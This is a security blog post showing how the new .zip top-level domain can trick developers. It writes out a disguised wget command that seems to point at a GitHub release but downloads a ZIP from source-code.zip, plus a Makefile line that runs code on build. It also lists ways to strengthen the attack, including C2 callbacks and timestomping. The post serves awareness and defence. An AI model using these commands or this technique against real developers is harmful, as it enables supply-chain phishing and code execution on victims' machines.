Google recently launched the
.zip TLD, and Twitter has been up in arms. It’s hard to imagine that
.zip domains would be used for anything legitimate, and would instead give way to more creative phishing attacks. Accordingly, I quickly snagged
source-code.zip while these domains were rapidly being bought up, and showed an example of how it might be used to trick a software developer into downloading a malicious ZIP file—yet there are still some that quite reasonably ask, “Should we really be so concerned about
Hmm, so someone simultaneously savvy enough to be running wget from a terminal, but also unaware of what wget does might... get a different file than what their magical thinking suggests? 😀— Will Dormann (@wdormann) May 13, 2023
Will’s brief explanation is spot on, but let’s break this attack down in a bit more detail. The short video at the beginning of this post demonstrates how an attacker may craft a seemingly benign Stack Overflow response to persuade a software developer to:
- Download a malicious ZIP file1 containing source code that appears to come from a trusted domain.
- Extract the ZIP file and compile the source code, inadvertently granting the attacker code execution via a malicious Makefile.
In the example above, we take a legitimate source code URL
https://github.com/stricaud/faup/archive/refs/tags/v1.4.zip2, snip off the end, and append our own zip domain:
The horizontal scroll overflow really works in our favor here. A reader is able to see
https://github.com, which immediately inspires some trust; if they bother to scroll to the right (I’ll give that a ⁵⁰⁄₅₀ chance), they’ll see
wget -q https://github.com/stricaud/faup/archive/refs/tags/v1.4/ source-code.zip --content-disposition3 and would have to look closely to notice the space character before
source-code.zip. Here’s how that Wget command works:
$ wget \
# Silence errors about the failed request to `github.com`.
# Respect the `Content-Disposition` header from `source-code.zip` which
# specifies the downloaded ZIP's filename.
# Wget allows multiple URLs. This first request will silently fail.
# This second request will download to disk as `faup-1.4.zip`.
# Note the `filename` in the `Content-Disposition` header.
$ curl -sLI source-code.zip | grep content-disposition
content-disposition: attachment; filename=faup-1.4.zip
In this example, I simply appended
execute_process (COMMAND bash -c "touch /tmp/pwn") to the Makefile
faup-1.4/CMakeLists.txt which results in
/tmp/pwn being created when the victim runs
cmake .. at the end of the video. This attack could be improved by:
- Timestomping the modified Makefile so it doesn’t stand out from the rest of the source code.
- Calling back to an attacker-controlled C2 server rather than simply creating a file.
- Registering a domain tailored to each attack instead of using the generic (but versatile)
source-code.zip. For example,
faup-v1.4.zippasses with a higher score on the eyeball test:
- Coercing a user to download a release file containing a malicious compiled binary instead of source code. The high-level “download > extract > execute” flow is the same, but a user will have an easier time executing a binary than they will compiling source code, and a tampered binary will be more difficult to detect than a tampered build script.
- Using the
@character (instead of a space) before the
https://github.com∕stricaud∕faup∕archive∕refs∕tags∕v1.4∕@source-code.zip. Credit to @bobbyrsec for this idea.
- To network defenders: Since it seems so unlikely that this TLD will be used for any legitimate purpose, it’s probably reasonable to block all outbound requests to
- To web enthusiasts: If you’re looking for a domain to host your blog, consider picking a TLD besides
.zipsince the network defenders above have probably already blocked it.
- To software developers: Read before you paste.
There’s nothing special about https://github.com/stricaud/faup that makes it vulnerable to this attack—it just happens to be my favorite CLI URL parser, and it has a relatively simple Makefile that I was able to easily modify. ↩︎
Note that cURL can similarly download multiple files while respecting
curl -JLO [URL]..., but the first failed request will prevent the second response from hitting disk. Not so for Wget, which allows the first request to fail while happily proceeding with the second URL. Unfortunately, Wget’s
--content-dispositiondoesn’t have a short equivalent. You could instead specify
-O faup-1.4.zip, but I think the given option is more elegant. Attacker’s preference. ↩︎